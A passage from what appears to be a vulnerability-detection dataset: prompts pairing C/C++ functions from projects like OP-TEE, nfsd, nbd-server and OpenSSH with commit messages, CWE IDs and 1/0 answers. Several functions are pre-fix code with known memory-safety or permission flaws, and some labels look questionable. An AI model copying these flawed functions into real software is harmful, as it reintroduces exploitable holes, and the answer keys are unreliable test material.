FILE_BELONG) cvt_32(p, m); return 1; case FILE_BEQUAD: case FILE_BEQDATE: case FILE_BEQLDATE: case FILE_BEQWDATE: p->q = (uint64_t) (((uint64_t)p->hq[0]<<56)|((uint64_t)p->hq[1]<<48)| ((uint64_t)p->hq[2]<<40)|((uint64_t)p->hq[3]<<32)| ((uint64_t)p->hq[4]<<24)|((uint64_t)p->hq[5]<<16)| ((uint64_t)p->hq[6]<<8)|((uint64_t)p->hq[7])); if (type == FILE_BEQUAD) cvt_64(p, m); return 1; case FILE_LESHORT: p->h = (short)((p->hs[1]<<8)|(p->hs[0])); cvt_16(p, m); return 1; case FILE_LELONG: case FILE_LEDATE: case FILE_LELDATE: p->l = (int32_t) ((p->hl[3]<<24)|(p->hl[2]<<16)|(p->hl[1]<<8)|(p->hl[0])); if (type == FILE_LELONG) cvt_32(p, m); return 1; case FILE_LEQUAD: case FILE_LEQDATE: case FILE_LEQLDATE: case FILE_LEQWDATE: p->q = (uint64_t) (((uint64_t)p->hq[7]<<56)|((uint64_t)p->hq[6]<<48)| ((uint64_t)p->hq[5]<<40)|((uint64_t)p->hq[4]<<32)| ((uint64_t)p->hq[3]<<24)|((uint64_t)p->hq[2]<<16)| ((uint64_t)p->hq[1]<<8)|((uint64_t)p->hq[0])); if (type == FILE_LEQUAD) cvt_64(p, m); return 1; case FILE_MELONG: case FILE_MEDATE: case FILE_MELDATE: p->l = (int32_t) ((p->hl[1]<<24)|(p->hl[0]<<16)|(p->hl[3]<<8)|(p->hl[2])); if (type == FILE_MELONG) cvt_32(p, m); return 1; case FILE_FLOAT: cvt_float(p, m); return 1; case FILE_BEFLOAT: p->l = ((uint32_t)p->hl[0]<<24)|((uint32_t)p->hl[1]<<16)| ((uint32_t)p->hl[2]<<8) |((uint32_t)p->hl[3]); cvt_float(p, m); return 1; case FILE_LEFLOAT: p->l = ((uint32_t)p->hl[3]<<24)|((uint32_t)p->hl[2]<<16)| ((uint32_t)p->hl[1]<<8) |((uint32_t)p->hl[0]); cvt_float(p, m); return 1; case FILE_DOUBLE: cvt_double(p, m); return 1; case FILE_BEDOUBLE: p->q = ((uint64_t)p->hq[0]<<56)|((uint64_t)p->hq[1]<<48)| ((uint64_t)p->hq[2]<<40)|((uint64_t)p->hq[3]<<32)| ((uint64_t)p->hq[4]<<24)|((uint64_t)p->hq[5]<<16)| ((uint64_t)p->hq[6]<<8) |((uint64_t)p->hq[7]); cvt_double(p, m); return 1; case FILE_LEDOUBLE: p->q = ((uint64_t)p->hq[7]<<56)|((uint64_t)p->hq[6]<<48)| ((uint64_t)p->hq[5]<<40)|((uint64_t)p->hq[4]<<32)| ((uint64_t)p->hq[3]<<24)|((uint64_t)p->hq[2]<<16)| ((uint64_t)p->hq[1]<<8) |((uint64_t)p->hq[0]); cvt_double(p, m); return 1; case FILE_REGEX: case FILE_SEARCH: case FILE_DEFAULT: case FILE_CLEAR: case FILE_NAME: case FILE_USE: return 1; default: file_magerror(ms, "invalid type %d in mconvert()", m->type); return 0; } } Commit Message: Correctly compute the truncated pascal string size (Francisco Alonso and Jan Kaluza at RedHat) CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: PHP_FUNCTION(openssl_random_pseudo_bytes) { long buffer_length; unsigned char *buffer = NULL; zval *zstrong_result_returned = NULL; int strong_result = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|z", &buffer_length, &zstrong_result_returned) == FAILURE) { return; return; } if (buffer_length <= 0) { RETURN_FALSE; } if (zstrong_result_returned) { zval_dtor(zstrong_result_returned); ZVAL_BOOL(zstrong_result_returned, 0); } buffer = emalloc(buffer_length + 1); #ifdef PHP_WIN32 strong_result = 1; /* random/urandom equivalent on Windows */ if (php_win32_get_random_bytes(buffer, (size_t) buffer_length) == FAILURE) { efree(buffer); if (php_win32_get_random_bytes(buffer, (size_t) buffer_length) == FAILURE) { efree(buffer); if (zstrong_result_returned) { RETURN_FALSE; } #else if ((strong_result = RAND_pseudo_bytes(buffer, buffer_length)) < 0) { efree(buffer); if (zstrong_result_returned) { ZVAL_BOOL(zstrong_result_returned, 0); if (zstrong_result_returned) { ZVAL_BOOL(zstrong_result_returned, 0); } RETURN_FALSE; } #endif RETVAL_STRINGL((char *)buffer, buffer_length, 0); if (zstrong_result_returned) { ZVAL_BOOL(zstrong_result_returned, strong_result); } } /* }}} */ Commit Message: CWE ID: CWE-310 Target: 1 Example 2: Code: static int rdpmc_interception(struct vcpu_svm *svm) { int err; if (!static_cpu_has(X86_FEATURE_NRIPS)) return emulate_on_interception(svm); err = kvm_rdpmc(&svm->vcpu); kvm_complete_insn_gp(&svm->vcpu, err); return 1; } Commit Message: KVM: x86: Check non-canonical addresses upon WRMSR Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is written to certain MSRs. The behavior is "almost" identical for AMD and Intel (ignoring MSRs that are not implemented in either architecture since they would anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if non-canonical address is written on Intel but not on AMD (which ignores the top 32-bits). Accordingly, this patch injects a #GP on the MSRs which behave identically on Intel and AMD. To eliminate the differences between the architecutres, the value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to canonical value before writing instead of injecting a #GP. Some references from Intel and AMD manuals: According to Intel SDM description of WRMSR instruction #GP is expected on WRMSR "If the source register contains a non-canonical address and ECX specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE, IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP." According to AMD manual instruction manual: LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical form, a general-protection exception (#GP) occurs." IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the base field must be in canonical form or a #GP fault will occur." IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must be in canonical form." This patch fixes CVE-2014-3610. Cc: [email protected] Signed-off-by: Nadav Amit <[email protected]> Signed-off-by: Paolo Bonzini <[email protected]> CWE ID: CWE-264 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void RilSapSocket::sendDisconnect() { size_t encoded_size = 0; uint32_t written_size; size_t buffer_size = 0; pb_ostream_t ostream; bool success = false; RIL_SIM_SAP_DISCONNECT_REQ disconnectReq; if ((success = pb_get_encoded_size(&encoded_size, RIL_SIM_SAP_DISCONNECT_REQ_fields, &disconnectReq)) && encoded_size <= INT32_MAX) { buffer_size = encoded_size + sizeof(uint32_t); uint8_t buffer[buffer_size]; written_size = htonl((uint32_t) encoded_size); ostream = pb_ostream_from_buffer(buffer, buffer_size); pb_write(&ostream, (uint8_t *)&written_size, sizeof(written_size)); success = pb_encode(&ostream, RIL_SIM_SAP_DISCONNECT_REQ_fields, buffer); if(success) { pb_bytes_array_t *payload = (pb_bytes_array_t *)calloc(1, sizeof(pb_bytes_array_t) + written_size); if (!payload) { RLOGE("sendDisconnect: OOM"); return; } memcpy(payload->bytes, buffer, written_size); payload->size = written_size; MsgHeader *hdr = (MsgHeader *)malloc(sizeof(MsgHeader)); if (!hdr) { RLOGE("sendDisconnect: OOM"); free(payload); return; } hdr->payload = payload; hdr->type = MsgType_REQUEST; hdr->id = MsgId_RIL_SIM_SAP_DISCONNECT; hdr->error = Error_RIL_E_SUCCESS; dispatchDisconnect(hdr); } else { RLOGE("Encode failed in send disconnect!"); } } } Commit Message: Replace variable-length arrays on stack with malloc. Bug: 30202619 Change-Id: Ib95e08a1c009d88a4b4fd8d8fdba0641c6129008 (cherry picked from commit 943905bb9f99e3caa856b42c531e2be752da8834) CWE ID: CWE-264 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: _dbus_header_byteswap (DBusHeader *header, int new_order) { if (header->byte_order == new_order) return; _dbus_marshal_byteswap (&_dbus_header_signature_str, 0, header->byte_order, new_order, &header->data, 0); header->byte_order = new_order; } Commit Message: CWE ID: CWE-20 Target: 1 Example 2: Code: static void floatArrayAttributeAttributeSetterCallback(v8::Local<v8::String>, v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info) { TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMSetter"); TestObjectPythonV8Internal::floatArrayAttributeAttributeSetter(jsValue, info); TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution"); } Commit Message: document.location bindings fix BUG=352374 [email protected] Review URL: https://codereview.chromium.org/196343011 git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static TEE_Result tee_svc_copy_param(struct tee_ta_session *sess, struct tee_ta_session *called_sess, struct utee_params *callee_params, struct tee_ta_param *param, void *tmp_buf_va[TEE_NUM_PARAMS], struct mobj **mobj_tmp) { size_t n; TEE_Result res; size_t req_mem = 0; size_t s; uint8_t *dst = 0; bool ta_private_memref[TEE_NUM_PARAMS]; struct user_ta_ctx *utc = to_user_ta_ctx(sess->ctx); void *va; size_t dst_offs; /* fill 'param' input struct with caller params description buffer */ if (!callee_params) { memset(param, 0, sizeof(*param)); } else { res = tee_mmu_check_access_rights(utc, TEE_MEMORY_ACCESS_READ | TEE_MEMORY_ACCESS_ANY_OWNER, (uaddr_t)callee_params, sizeof(struct utee_params)); if (res != TEE_SUCCESS) return res; utee_param_to_param(param, callee_params); } if (called_sess && is_pseudo_ta_ctx(called_sess->ctx)) { /* pseudo TA borrows the mapping of the calling TA */ return TEE_SUCCESS; } /* All mobj in param are of type MOJB_TYPE_VIRT */ for (n = 0; n < TEE_NUM_PARAMS; n++) { ta_private_memref[n] = false; switch (TEE_PARAM_TYPE_GET(param->types, n)) { case TEE_PARAM_TYPE_MEMREF_INPUT: case TEE_PARAM_TYPE_MEMREF_OUTPUT: case TEE_PARAM_TYPE_MEMREF_INOUT: va = (void *)param->u[n].mem.offs; s = param->u[n].mem.size; if (!va) { if (s) return TEE_ERROR_BAD_PARAMETERS; break; } /* uTA cannot expose its private memory */ if (tee_mmu_is_vbuf_inside_ta_private(utc, va, s)) { s = ROUNDUP(s, sizeof(uint32_t)); if (ADD_OVERFLOW(req_mem, s, &req_mem)) return TEE_ERROR_BAD_PARAMETERS; ta_private_memref[n] = true; break; } res = tee_mmu_vbuf_to_mobj_offs(utc, va, s, &param->u[n].mem.mobj, &param->u[n].mem.offs); if (res != TEE_SUCCESS) return res; break; default: break; } } if (req_mem == 0) return TEE_SUCCESS; res = alloc_temp_sec_mem(req_mem, mobj_tmp, &dst); if (res != TEE_SUCCESS) return res; dst_offs = 0; for (n = 0; n < TEE_NUM_PARAMS; n++) { if (!ta_private_memref[n]) continue; s = ROUNDUP(param->u[n].mem.size, sizeof(uint32_t)); switch (TEE_PARAM_TYPE_GET(param->types, n)) { case TEE_PARAM_TYPE_MEMREF_INPUT: case TEE_PARAM_TYPE_MEMREF_INOUT: va = (void *)param->u[n].mem.offs; if (va) { res = tee_svc_copy_from_user(dst, va, param->u[n].mem.size); if (res != TEE_SUCCESS) return res; param->u[n].mem.offs = dst_offs; param->u[n].mem.mobj = *mobj_tmp; tmp_buf_va[n] = dst; dst += s; dst_offs += s; } break; case TEE_PARAM_TYPE_MEMREF_OUTPUT: va = (void *)param->u[n].mem.offs; if (va) { param->u[n].mem.offs = dst_offs; param->u[n].mem.mobj = *mobj_tmp; tmp_buf_va[n] = dst; dst += s; dst_offs += s; } break; default: continue; } } return TEE_SUCCESS; } Commit Message: core: svc: always check ta parameters Always check TA parameters from a user TA. This prevents a user TA from passing invalid pointers to a pseudo TA. Fixes: OP-TEE-2018-0007: "Buffer checks missing when calling pseudo TAs". Signed-off-by: Jens Wiklander <[email protected]> Tested-by: Joakim Bech <[email protected]> (QEMU v7, v8) Reviewed-by: Joakim Bech <[email protected]> Reported-by: Riscure <[email protected]> Reported-by: Alyssa Milburn <[email protected]> Acked-by: Etienne Carriere <[email protected]> CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: InterstitialPage* WebContentsImpl::GetInterstitialPage() const { return GetRenderManager()->interstitial_page(); } Commit Message: Don't show current RenderWidgetHostView while interstitial is showing. Also moves interstitial page tracking from RenderFrameHostManager to WebContents, since interstitial pages are not frame-specific. This was necessary for subframes to detect if an interstitial page is showing. BUG=729105 TEST=See comment 13 of bug for repro steps CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation Review-Url: https://codereview.chromium.org/2938313002 Cr-Commit-Position: refs/heads/master@{#480117} CWE ID: CWE-20 Target: 1 Example 2: Code: void RenderFrameHostImpl::OnRunJavaScriptDialog( const base::string16& message, const base::string16& default_prompt, JavaScriptDialogType dialog_type, IPC::Message* reply_msg) { if (dialog_type == JavaScriptDialogType::JAVASCRIPT_DIALOG_TYPE_ALERT) GetFrameResourceCoordinator()->OnAlertFired(); if (IsWaitingForUnloadACK()) { SendJavaScriptDialogReply(reply_msg, true, base::string16()); return; } GetProcess()->SetBlocked(true); delegate_->RunJavaScriptDialog(this, message, default_prompt, dialog_type, reply_msg); } Commit Message: Make MediaStreamDispatcherHost per-request instead of per-frame. Instead of having RenderFrameHost own a single MSDH to handle all requests from a frame, MSDH objects will be owned by a strong binding. A consequence of this is that an additional requester ID is added to requests to MediaStreamManager, so that an MSDH is able to cancel only requests generated by it. In practice, MSDH will continue to be per frame in most cases since each frame normally makes a single request for an MSDH object. This fixes a lifetime issue caused by the IO thread executing tasks after the RenderFrameHost dies. Drive-by: Fix some minor lint issues. Bug: 912520 Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516 Reviewed-on: https://chromium-review.googlesource.com/c/1369799 Reviewed-by: Emircan Uysaler <[email protected]> Reviewed-by: Ken Buchanan <[email protected]> Reviewed-by: Olga Sharonova <[email protected]> Commit-Queue: Guido Urdaneta <[email protected]> Cr-Commit-Position: refs/heads/master@{#616347} CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void *ip6mr_vif_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ipmr_vif_iter *iter = seq->private; struct net *net = seq_file_net(seq); struct mr6_table *mrt = iter->mrt; ++*pos; if (v == SEQ_START_TOKEN) return ip6mr_vif_seq_idx(net, iter, 0); while (++iter->ct < mrt->maxvif) { if (!MIF_EXISTS(mrt, iter->ct)) continue; return &mrt->vif6_table[iter->ct]; } return NULL; } Commit Message: ipv6: check sk sk_type and protocol early in ip_mroute_set/getsockopt Commit 5e1859fbcc3c ("ipv4: ipmr: various fixes and cleanups") fixed the issue for ipv4 ipmr: ip_mroute_setsockopt() & ip_mroute_getsockopt() should not access/set raw_sk(sk)->ipmr_table before making sure the socket is a raw socket, and protocol is IGMP The same fix should be done for ipv6 ipmr as well. This patch can fix the panic caused by overwriting the same offset as ipmr_table as in raw_sk(sk) when accessing other type's socket by ip_mroute_setsockopt(). Signed-off-by: Xin Long <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool IsTraceEventArgsWhitelisted(const char* category_group_name, const char* event_name) { if (base::MatchPattern(category_group_name, "toplevel") && base::MatchPattern(event_name, "*")) { return true; } return false; } Commit Message: Tracing: Add support for PII whitelisting of individual trace event arguments R=dsinclair,shatch BUG=546093 Review URL: https://codereview.chromium.org/1415013003 Cr-Commit-Position: refs/heads/master@{#356690} CWE ID: CWE-399 Target: 1 Example 2: Code: static int mov_read_colr(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; char color_parameter_type[5] = { 0 }; uint16_t color_primaries, color_trc, color_matrix; int ret; if (c->fc->nb_streams < 1) return 0; st = c->fc->streams[c->fc->nb_streams - 1]; ret = ffio_read_size(pb, color_parameter_type, 4); if (ret < 0) return ret; if (strncmp(color_parameter_type, "nclx", 4) && strncmp(color_parameter_type, "nclc", 4)) { av_log(c->fc, AV_LOG_WARNING, "unsupported color_parameter_type %s\n", color_parameter_type); return 0; } color_primaries = avio_rb16(pb); color_trc = avio_rb16(pb); color_matrix = avio_rb16(pb); av_log(c->fc, AV_LOG_TRACE, "%s: pri %d trc %d matrix %d", color_parameter_type, color_primaries, color_trc, color_matrix); if (!strncmp(color_parameter_type, "nclx", 4)) { uint8_t color_range = avio_r8(pb) >> 7; av_log(c->fc, AV_LOG_TRACE, " full %"PRIu8"", color_range); if (color_range) st->codecpar->color_range = AVCOL_RANGE_JPEG; else st->codecpar->color_range = AVCOL_RANGE_MPEG; } if (!av_color_primaries_name(color_primaries)) color_primaries = AVCOL_PRI_UNSPECIFIED; if (!av_color_transfer_name(color_trc)) color_trc = AVCOL_TRC_UNSPECIFIED; if (!av_color_space_name(color_matrix)) color_matrix = AVCOL_SPC_UNSPECIFIED; st->codecpar->color_primaries = color_primaries; st->codecpar->color_trc = color_trc; st->codecpar->color_space = color_matrix; av_log(c->fc, AV_LOG_TRACE, "\n"); return 0; } Commit Message: avformat/mov: Fix DoS in read_tfra() Fixes: Missing EOF check in loop No testcase Found-by: Xiaohei and Wangchu from Alibaba Security Team Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: CWE-834 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: GArray* parse_cfile(gchar* f, GError** e) { const char* DEFAULT_ERROR = "Could not parse %s in group %s: %s"; const char* MISSING_REQUIRED_ERROR = "Could not find required value %s in group %s: %s"; SERVER s; gchar *virtstyle=NULL; PARAM lp[] = { { "exportname", TRUE, PARAM_STRING, NULL, 0 }, { "port", TRUE, PARAM_INT, NULL, 0 }, { "authfile", FALSE, PARAM_STRING, NULL, 0 }, { "filesize", FALSE, PARAM_INT, NULL, 0 }, { "virtstyle", FALSE, PARAM_STRING, NULL, 0 }, { "prerun", FALSE, PARAM_STRING, NULL, 0 }, { "postrun", FALSE, PARAM_STRING, NULL, 0 }, { "readonly", FALSE, PARAM_BOOL, NULL, F_READONLY }, { "multifile", FALSE, PARAM_BOOL, NULL, F_MULTIFILE }, { "copyonwrite", FALSE, PARAM_BOOL, NULL, F_COPYONWRITE }, { "sparse_cow", FALSE, PARAM_BOOL, NULL, F_SPARSE }, { "sdp", FALSE, PARAM_BOOL, NULL, F_SDP }, { "sync", FALSE, PARAM_BOOL, NULL, F_SYNC }, { "listenaddr", FALSE, PARAM_STRING, NULL, 0 }, { "maxconnections", FALSE, PARAM_INT, NULL, 0 }, }; const int lp_size=sizeof(lp)/sizeof(PARAM); PARAM gp[] = { { "user", FALSE, PARAM_STRING, &runuser, 0 }, { "group", FALSE, PARAM_STRING, &rungroup, 0 }, { "oldstyle", FALSE, PARAM_BOOL, &do_oldstyle, 1 }, { "listenaddr", FALSE, PARAM_STRING, &modern_listen, 0 }, }; PARAM* p=gp; int p_size=sizeof(gp)/sizeof(PARAM); GKeyFile *cfile; GError *err = NULL; const char *err_msg=NULL; GQuark errdomain; GArray *retval=NULL; gchar **groups; gboolean value; gchar* startgroup; gint i; gint j; errdomain = g_quark_from_string("parse_cfile"); cfile = g_key_file_new(); retval = g_array_new(FALSE, TRUE, sizeof(SERVER)); if(!g_key_file_load_from_file(cfile, f, G_KEY_FILE_KEEP_COMMENTS | G_KEY_FILE_KEEP_TRANSLATIONS, &err)) { g_set_error(e, errdomain, CFILE_NOTFOUND, "Could not open config file %s.", f); g_key_file_free(cfile); return retval; } startgroup = g_key_file_get_start_group(cfile); if(!startgroup || strcmp(startgroup, "generic")) { g_set_error(e, errdomain, CFILE_MISSING_GENERIC, "Config file does not contain the [generic] group!"); g_key_file_free(cfile); return NULL; } groups = g_key_file_get_groups(cfile, NULL); for(i=0;groups[i];i++) { memset(&s, '\0', sizeof(SERVER)); lp[0].target=&(s.exportname); lp[1].target=&(s.port); lp[2].target=&(s.authname); lp[3].target=&(s.expected_size); lp[4].target=&(virtstyle); lp[5].target=&(s.prerun); lp[6].target=&(s.postrun); lp[7].target=lp[8].target=lp[9].target= lp[10].target=lp[11].target= lp[12].target=&(s.flags); lp[13].target=&(s.listenaddr); lp[14].target=&(s.max_connections); /* After the [generic] group, start parsing exports */ if(i==1) { p=lp; p_size=lp_size; } for(j=0;j<p_size;j++) { g_assert(p[j].target != NULL); g_assert(p[j].ptype==PARAM_INT||p[j].ptype==PARAM_STRING||p[j].ptype==PARAM_BOOL); switch(p[j].ptype) { case PARAM_INT: *((gint*)p[j].target) = g_key_file_get_integer(cfile, groups[i], p[j].paramname, &err); break; case PARAM_STRING: *((gchar**)p[j].target) = g_key_file_get_string(cfile, groups[i], p[j].paramname, &err); break; case PARAM_BOOL: value = g_key_file_get_boolean(cfile, groups[i], p[j].paramname, &err); if(!err) { if(value) { *((gint*)p[j].target) |= p[j].flagval; } else { *((gint*)p[j].target) &= ~(p[j].flagval); } } break; } if(!strcmp(p[j].paramname, "port") && !strcmp(p[j].target, NBD_DEFAULT_PORT)) { g_set_error(e, errdomain, CFILE_INCORRECT_PORT, "Config file specifies default port for oldstyle export"); g_key_file_free(cfile); return NULL; } if(err) { if(err->code == G_KEY_FILE_ERROR_KEY_NOT_FOUND) { if(!p[j].required) { /* Ignore not-found error for optional values */ g_clear_error(&err); continue; } else { err_msg = MISSING_REQUIRED_ERROR; } } else { err_msg = DEFAULT_ERROR; } g_set_error(e, errdomain, CFILE_VALUE_INVALID, err_msg, p[j].paramname, groups[i], err->message); g_array_free(retval, TRUE); g_error_free(err); g_key_file_free(cfile); return NULL; } } if(virtstyle) { if(!strncmp(virtstyle, "none", 4)) { s.virtstyle=VIRT_NONE; } else if(!strncmp(virtstyle, "ipliteral", 9)) { s.virtstyle=VIRT_IPLIT; } else if(!strncmp(virtstyle, "iphash", 6)) { s.virtstyle=VIRT_IPHASH; } else if(!strncmp(virtstyle, "cidrhash", 8)) { s.virtstyle=VIRT_CIDR; if(strlen(virtstyle)<10) { g_set_error(e, errdomain, CFILE_VALUE_INVALID, "Invalid value %s for parameter virtstyle in group %s: missing length", virtstyle, groups[i]); g_array_free(retval, TRUE); g_key_file_free(cfile); return NULL; } s.cidrlen=strtol(virtstyle+8, NULL, 0); } else { g_set_error(e, errdomain, CFILE_VALUE_INVALID, "Invalid value %s for parameter virtstyle in group %s", virtstyle, groups[i]); g_array_free(retval, TRUE); g_key_file_free(cfile); return NULL; } if(s.port && !do_oldstyle) { g_warning("A port was specified, but oldstyle exports were not requested. This may not do what you expect."); g_warning("Please read 'man 5 nbd-server' and search for oldstyle for more info"); } } else { s.virtstyle=VIRT_IPLIT; } /* Don't need to free this, it's not our string */ virtstyle=NULL; /* Don't append values for the [generic] group */ if(i>0) { s.socket_family = AF_UNSPEC; s.servename = groups[i]; append_serve(&s, retval); } else { if(!do_oldstyle) { lp[1].required = 0; } } #ifndef WITH_SDP if(s.flags & F_SDP) { g_set_error(e, errdomain, CFILE_VALUE_UNSUPPORTED, "This nbd-server was built without support for SDP, yet group %s uses it", groups[i]); g_array_free(retval, TRUE); g_key_file_free(cfile); return NULL; } #endif } if(i==1) { g_set_error(e, errdomain, CFILE_NO_EXPORTS, "The config file does not specify any exports"); } g_key_file_free(cfile); return retval; } Commit Message: Fix buffer size checking Yes, this means we've re-introduced CVE-2005-3534. Sigh. CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static __be32 nfsacld_proc_setacl(struct svc_rqst * rqstp, struct nfsd3_setaclargs *argp, struct nfsd_attrstat *resp) { struct inode *inode; svc_fh *fh; __be32 nfserr = 0; int error; dprintk("nfsd: SETACL(2acl) %s\n", SVCFH_fmt(&argp->fh)); fh = fh_copy(&resp->fh, &argp->fh); nfserr = fh_verify(rqstp, &resp->fh, 0, NFSD_MAY_SATTR); if (nfserr) goto out; inode = d_inode(fh->fh_dentry); if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) { error = -EOPNOTSUPP; goto out_errno; } error = fh_want_write(fh); if (error) goto out_errno; error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS); if (error) goto out_drop_write; error = inode->i_op->set_acl(inode, argp->acl_default, ACL_TYPE_DEFAULT); if (error) goto out_drop_write; fh_drop_write(fh); nfserr = fh_getattr(fh, &resp->stat); out: /* argp->acl_{access,default} may have been allocated in nfssvc_decode_setaclargs. */ posix_acl_release(argp->acl_access); posix_acl_release(argp->acl_default); return nfserr; out_drop_write: fh_drop_write(fh); out_errno: nfserr = nfserrno(error); goto out; } Commit Message: nfsd: check permissions when setting ACLs Use set_posix_acl, which includes proper permission checks, instead of calling ->set_acl directly. Without this anyone may be able to grant themselves permissions to a file by setting the ACL. Lock the inode to make the new checks atomic with respect to set_acl. (Also, nfsd was the only caller of set_acl not locking the inode, so I suspect this may fix other races.) This also simplifies the code, and ensures our ACLs are checked by posix_acl_valid. The permission checks and the inode locking were lost with commit 4ac7249e, which changed nfsd to use the set_acl inode operation directly instead of going through xattr handlers. Reported-by: David Sinquin <[email protected]> [[email protected]: use set_posix_acl] Fixes: 4ac7249e Cc: Christoph Hellwig <[email protected]> Cc: Al Viro <[email protected]> Cc: [email protected] Signed-off-by: J. Bruce Fields <[email protected]> CWE ID: CWE-284 Target: 1 Example 2: Code: gfx::Size GLSurfaceEGLSurfaceControl::GetSize() { return gfx::Size(0, 0); } Commit Message: gpu/android : Add support for partial swap with surface control. Add support for PostSubBuffer to GLSurfaceEGLSurfaceControl. This should allow the display compositor to draw the minimum sub-rect necessary from the damage tracking in BufferQueue on the client-side, and also to pass this damage rect to the framework. [email protected] Bug: 926020 Change-Id: I73d3320cab68250d4c6865bf21c5531682d8bf61 Reviewed-on: https://chromium-review.googlesource.com/c/1457467 Commit-Queue: Khushal <[email protected]> Commit-Queue: Antoine Labour <[email protected]> Reviewed-by: Antoine Labour <[email protected]> Auto-Submit: Khushal <[email protected]> Cr-Commit-Position: refs/heads/master@{#629852} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: ssh_packet_set_state(struct ssh *ssh, struct sshbuf *m) { struct session_state *state = ssh->state; const u_char *ssh1key, *ivin, *ivout, *keyin, *keyout, *input, *output; size_t ssh1keylen, rlen, slen, ilen, olen; int r; u_int ssh1cipher = 0; if (!compat20) { if ((r = sshbuf_get_u32(m, &state->remote_protocol_flags)) != 0 || (r = sshbuf_get_u32(m, &ssh1cipher)) != 0 || (r = sshbuf_get_string_direct(m, &ssh1key, &ssh1keylen)) != 0 || (r = sshbuf_get_string_direct(m, &ivout, &slen)) != 0 || (r = sshbuf_get_string_direct(m, &ivin, &rlen)) != 0) return r; if (ssh1cipher > INT_MAX) return SSH_ERR_KEY_UNKNOWN_CIPHER; ssh_packet_set_encryption_key(ssh, ssh1key, ssh1keylen, (int)ssh1cipher); if (cipher_get_keyiv_len(state->send_context) != (int)slen || cipher_get_keyiv_len(state->receive_context) != (int)rlen) return SSH_ERR_INVALID_FORMAT; if ((r = cipher_set_keyiv(state->send_context, ivout)) != 0 || (r = cipher_set_keyiv(state->receive_context, ivin)) != 0) return r; } else { if ((r = kex_from_blob(m, &ssh->kex)) != 0 || (r = newkeys_from_blob(m, ssh, MODE_OUT)) != 0 || (r = newkeys_from_blob(m, ssh, MODE_IN)) != 0 || (r = sshbuf_get_u64(m, &state->rekey_limit)) != 0 || (r = sshbuf_get_u32(m, &state->rekey_interval)) != 0 || (r = sshbuf_get_u32(m, &state->p_send.seqnr)) != 0 || (r = sshbuf_get_u64(m, &state->p_send.blocks)) != 0 || (r = sshbuf_get_u32(m, &state->p_send.packets)) != 0 || (r = sshbuf_get_u64(m, &state->p_send.bytes)) != 0 || (r = sshbuf_get_u32(m, &state->p_read.seqnr)) != 0 || (r = sshbuf_get_u64(m, &state->p_read.blocks)) != 0 || (r = sshbuf_get_u32(m, &state->p_read.packets)) != 0 || (r = sshbuf_get_u64(m, &state->p_read.bytes)) != 0) return r; /* * We set the time here so that in post-auth privsep slave we * count from the completion of the authentication. */ state->rekey_time = monotime(); /* XXX ssh_set_newkeys overrides p_read.packets? XXX */ if ((r = ssh_set_newkeys(ssh, MODE_IN)) != 0 || (r = ssh_set_newkeys(ssh, MODE_OUT)) != 0) return r; } if ((r = sshbuf_get_string_direct(m, &keyout, &slen)) != 0 || (r = sshbuf_get_string_direct(m, &keyin, &rlen)) != 0) return r; if (cipher_get_keycontext(state->send_context, NULL) != (int)slen || cipher_get_keycontext(state->receive_context, NULL) != (int)rlen) return SSH_ERR_INVALID_FORMAT; cipher_set_keycontext(state->send_context, keyout); cipher_set_keycontext(state->receive_context, keyin); if ((r = ssh_packet_set_compress_state(ssh, m)) != 0 || (r = 